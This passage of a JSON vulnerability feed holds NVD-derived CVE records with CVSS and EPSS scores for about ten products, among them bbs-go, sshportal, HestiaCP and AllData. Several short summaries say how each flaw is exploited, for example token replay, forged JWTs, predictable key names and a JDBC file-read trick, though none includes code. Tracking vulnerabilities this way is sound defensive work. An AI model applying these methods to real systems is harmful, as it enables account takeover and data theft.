score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111642&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111642, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111639","cveId":"CVE-2026-111639","aliases":[],"kind":"vulnerability","title":"bbs-go through 4.4.6 contains an authentication bypass vulnerability in the /api/login/google_one_tap endpoint that allows remote attackers to log in as other users by submitting...","summary":"bbs-go through 4.4.6 contains an authentication bypass vulnerability in the /api/login/google_one_tap endpoint that allows remote attackers to log in as other users by submitting Google ID tokens issued to any OAuth client. Attackers operating their own Google OAuth client can capture a victim's Google-signed ID token and replay it, since the aud claim is never checked, to obtain an authenticated session as the victim's Google-linked account.","detail":"bbs-go through 4.4.6 contains an authentication bypass vulnerability in the /api/login/google_one_tap endpoint that allows remote attackers to log in as other users by submitting Google ID tokens issued to any OAuth client. Attackers operating their own Google OAuth client can capture a victim's Google-signed ID token and replay it, since the aud claim is never checked, to obtain an authenticated session as the victim's Google-linked account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:44.447Z","updatedAt":"2026-10-21T21:17:53.567Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111639","asOf":"2026-10-21T21:17:53.567Z"},"epss":{"probability":0.00473,"percentile":0.40602,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111639&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111639","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111639","type":"primary","publishedAt":"2026-10-16T18:17:44.447Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111639&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111639, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111638","cveId":"CVE-2026-111638","aliases":[],"kind":"vulnerability","title":"sshportal through 1.19.5 contains a missing authorization vulnerability in the management shell 'key show' command that allows authenticated non-admin users to obtain decrypted...","summary":"sshportal through 1.19.5 contains a missing authorization vulnerability in the management shell 'key show' command that allows authenticated non-admin users to obtain decrypted backend private SSH keys. Attackers can request predictable key names like 'default' or 'host' to retrieve private keys and connect directly to backend hosts, bypassing ACLs and session recording.","detail":"sshportal through 1.19.5 contains a missing authorization vulnerability in the management shell 'key show' command that allows authenticated non-admin users to obtain decrypted backend private SSH keys. Attackers can request predictable key names like 'default' or 'host' to retrieve private keys and connect directly to backend hosts, bypassing ACLs and session recording.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:44.297Z","updatedAt":"2026-10-23T17:17:20.800Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111638","asOf":"2026-10-23T17:17:20.800Z"},"epss":{"probability":0.00397,"percentile":0.33587,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111638&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111638","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111638","type":"primary","publishedAt":"2026-10-16T18:17:44.297Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111638&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111638, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111634","cveId":"CVE-2026-111634","aliases":[],"kind":"vulnerability","title":"Helical Insight through 7.0.0 contains an sql injection vulnerability that allows authenticated viewers to inject SQL through unescaped report parameter values sent to...","summary":"Helical Insight through 7.0.0 contains an sql injection vulnerability that allows authenticated viewers to inject SQL through unescaped report parameter values sent to /executeDatasource. Attackers can supply crafted Numeric or String placeholder values that bypass the broken SqlDetect guard to read unexposed tables and modify data in the report's data source.","detail":"Helical Insight through 7.0.0 contains an sql injection vulnerability that allows authenticated viewers to inject SQL through unescaped report parameter values sent to /executeDatasource. Attackers can supply crafted Numeric or String placeholder values that bypass the broken SqlDetect guard to read unexposed tables and modify data in the report's data source.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:43.750Z","updatedAt":"2026-10-21T21:17:53.433Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111634","asOf":"2026-10-21T21:17:53.433Z"},"epss":{"probability":0.00328,"percentile":0.25714,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111634&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111634","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111634","type":"primary","publishedAt":"2026-10-16T18:17:43.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111634&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111634, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111633","cveId":"CVE-2026-111633","aliases":[],"kind":"vulnerability","title":"ZKEACMS through 4.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge REST API JWT bearer tokens using a hard-coded HMAC-SHA256...","summary":"ZKEACMS through 4.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge REST API JWT bearer tokens using a hard-coded HMAC-SHA256 signing key in JwtBearerDefaults.cs. Attackers can sign a token with the Name claim set to 'admin' to call ApiAuthorize endpoints, modifying articles and products and reading form submissions.","detail":"ZKEACMS through 4.4 contains an authentication bypass vulnerability that allows unauthenticated attackers to forge REST API JWT bearer tokens using a hard-coded HMAC-SHA256 signing key in JwtBearerDefaults.cs. Attackers can sign a token with the Name claim set to 'admin' to call ApiAuthorize endpoints, modifying articles and products and reading form submissions.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:43.607Z","updatedAt":"2026-10-23T19:17:43.070Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111633","asOf":"2026-10-23T19:17:43.070Z"},"epss":{"probability":0.00439,"percentile":0.37912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111633&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111633","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111633","type":"primary","publishedAt":"2026-10-16T18:17:43.607Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111633&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111633, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111627","cveId":"CVE-2026-111627","aliases":[],"kind":"vulnerability","title":"HestiaCP before 1.10.5 contains an authorization bypass vulnerability that allows non-ROOT_USER administrators to perform write actions while impersonating the protected ROOT_USER...","summary":"HestiaCP before 1.10.5 contains an authorization bypass vulnerability that allows non-ROOT_USER administrators to perform write actions while impersonating the protected ROOT_USER account. Attackers can log in via the loginas parameter and POST to /add/cron/, because the read-only flag is never checked, causing crond to run their commands as the protected administrator's system account.","detail":"HestiaCP before 1.10.5 contains an authorization bypass vulnerability that allows non-ROOT_USER administrators to perform write actions while impersonating the protected ROOT_USER account. Attackers can log in via the loginas parameter and POST to /add/cron/, because the read-only flag is never checked, causing crond to run their commands as the protected administrator's system account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:42.760Z","updatedAt":"2026-10-16T20:17:20.960Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111627","asOf":"2026-10-16T20:17:20.960Z"},"epss":{"probability":0.00574,"percentile":0.47135,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111627&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111627","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111627","type":"primary","publishedAt":"2026-10-16T18:17:42.760Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111627&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111627, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111622","cveId":"CVE-2026-111622","aliases":[],"kind":"vulnerability","title":"smart-sso through 2.1.1 contains an open redirect vulnerability in the /login handler that allows unauthenticated attackers to steal OAuth2 authorization codes by supplying an...","summary":"smart-sso through 2.1.1 contains an open redirect vulnerability in the /login handler that allows unauthenticated attackers to steal OAuth2 authorization codes by supplying an unvalidated redirectUri parameter. Attackers can send crafted /login links to users with active SSO sessions, then redeem stolen codes at /oauth2/access_token with any valid client credentials to obtain victims' access tokens.","detail":"smart-sso through 2.1.1 contains an open redirect vulnerability in the /login handler that allows unauthenticated attackers to steal OAuth2 authorization codes by supplying an unvalidated redirectUri parameter. Attackers can send crafted /login links to users with active SSO sessions, then redeem stolen codes at /oauth2/access_token with any valid client credentials to obtain victims' access tokens.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:41.980Z","updatedAt":"2026-10-16T20:17:20.827Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111622","asOf":"2026-10-16T20:17:20.827Z"},"epss":{"probability":0.00429,"percentile":0.36838,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111622&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111622","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111622","type":"primary","publishedAt":"2026-10-16T18:17:41.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111622&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111622, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111619","cveId":"CVE-2026-111619","aliases":[],"kind":"vulnerability","title":"FilePress through 3.0.1 contains an sql injection vulnerability that allows authenticated low-privilege users to inject SQL into ORDER BY clauses via the unvalidated asc parameter.","summary":"FilePress through 3.0.1 contains an sql injection vulnerability that allows authenticated low-privilege users to inject SQL into ORDER BY clauses via the unvalidated asc parameter. Attackers can use blind boolean or time-based subqueries in dzz/pichome/library/filelist.php and dzz/collection/filelist.php to extract database rows including administrator credential hashes.","detail":"FilePress through 3.0.1 contains an sql injection vulnerability that allows authenticated low-privilege users to inject SQL into ORDER BY clauses via the unvalidated asc parameter. Attackers can use blind boolean or time-based subqueries in dzz/pichome/library/filelist.php and dzz/collection/filelist.php to extract database rows including administrator credential hashes.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:41.540Z","updatedAt":"2026-10-21T21:17:52.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111619","asOf":"2026-10-21T21:17:52.950Z"},"epss":{"probability":0.0042,"percentile":0.36025,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111619&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111619","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111619","type":"primary","publishedAt":"2026-10-16T18:17:41.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111619&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111619, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111615","cveId":"CVE-2026-111615","aliases":[],"kind":"vulnerability","title":"Mall4cloud through 4.0 contains an insecure direct object reference vulnerability that allows authenticated merchants to read other shops' buyer shipping addresses via the...","summary":"Mall4cloud through 4.0 contains an insecure direct object reference vulnerability that allows authenticated merchants to read other shops' buyer shipping addresses via the multishop OrderController getOrderAddr handler. Attackers can enumerate auto-increment orderAddrId values in GET /m/order/order_addr/{orderAddrId} requests to obtain consignee names, mobile numbers, addresses and post codes platform-wide.","detail":"Mall4cloud through 4.0 contains an insecure direct object reference vulnerability that allows authenticated merchants to read other shops' buyer shipping addresses via the multishop OrderController getOrderAddr handler. Attackers can enumerate auto-increment orderAddrId values in GET /m/order/order_addr/{orderAddrId} requests to obtain consignee names, mobile numbers, addresses and post codes platform-wide.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:40.977Z","updatedAt":"2026-10-19T13:16:55.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111615","asOf":"2026-10-19T13:16:55.940Z"},"epss":{"probability":0.00386,"percentile":0.32419,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111615&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111615","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111615","type":"primary","publishedAt":"2026-10-16T18:17:40.977Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111615&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111615, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111614","cveId":"CVE-2026-111614","aliases":[],"kind":"vulnerability","title":"DataCap through 2025.1.1 contains an insecure direct object reference vulnerability in BaseController.getInfoForPath that allows authenticated users to read other users'...","summary":"DataCap through 2025.1.1 contains an insecure direct object reference vulnerability in BaseController.getInfoForPath that allows authenticated users to read other users' datasources, snippets and dashboards by numeric id. Low-privileged attackers can enumerate auto-increment ids on the source, snippet and dashboard endpoints to retrieve serialized datasource host, port, username and cleartext passwords.","detail":"DataCap through 2025.1.1 contains an insecure direct object reference vulnerability in BaseController.getInfoForPath that allows authenticated users to read other users' datasources, snippets and dashboards by numeric id. Low-privileged attackers can enumerate auto-increment ids on the source, snippet and dashboard endpoints to retrieve serialized datasource host, port, username and cleartext passwords.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:40.833Z","updatedAt":"2026-10-21T21:17:52.777Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111614","asOf":"2026-10-21T21:17:52.777Z"},"epss":{"probability":0.00386,"percentile":0.3242,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111614&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111614","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111614","type":"primary","publishedAt":"2026-10-16T18:17:40.833Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111614&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111614, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111613","cveId":"CVE-2026-111613","aliases":[],"kind":"vulnerability","title":"AllData through 0.7.1 contains an unauthenticated JDBC injection vulnerability that allows remote attackers to open arbitrary database connections by supplying jdbcUrl and...","summary":"AllData through 0.7.1 contains an unauthenticated JDBC injection vulnerability that allows remote attackers to open arbitrary database connections by supplying jdbcUrl and jdbcDriverClass values to the data-dts /jobJdbcDatasource/test endpoint. Attackers can supply a MySQL JDBC URL with allowLoadLocalInfile=true pointing to an attacker-controlled server to read arbitrary files from the data-dts host.","detail":"AllData through 0.7.1 contains an unauthenticated JDBC injection vulnerability that allows remote attackers to open arbitrary database connections by supplying jdbcUrl and jdbcDriverClass values to the data-dts /jobJdbcDatasource/test endpoint. Attackers can supply a MySQL JDBC URL with allowLoadLocalInfile=true pointing to an attacker-controlled server to read arbitrary files from the data-dts host.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T18:17:40.680Z","updatedAt":"2026-10-23T19:17:42.510Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111613","asOf":"2026-10-23T19:17:42.510Z"},"epss":{"probability":0.00592,"percentile":0.4799,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111613&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111613","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111613","type":"primary","publishedAt":"2026-10-16T18:17:40.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 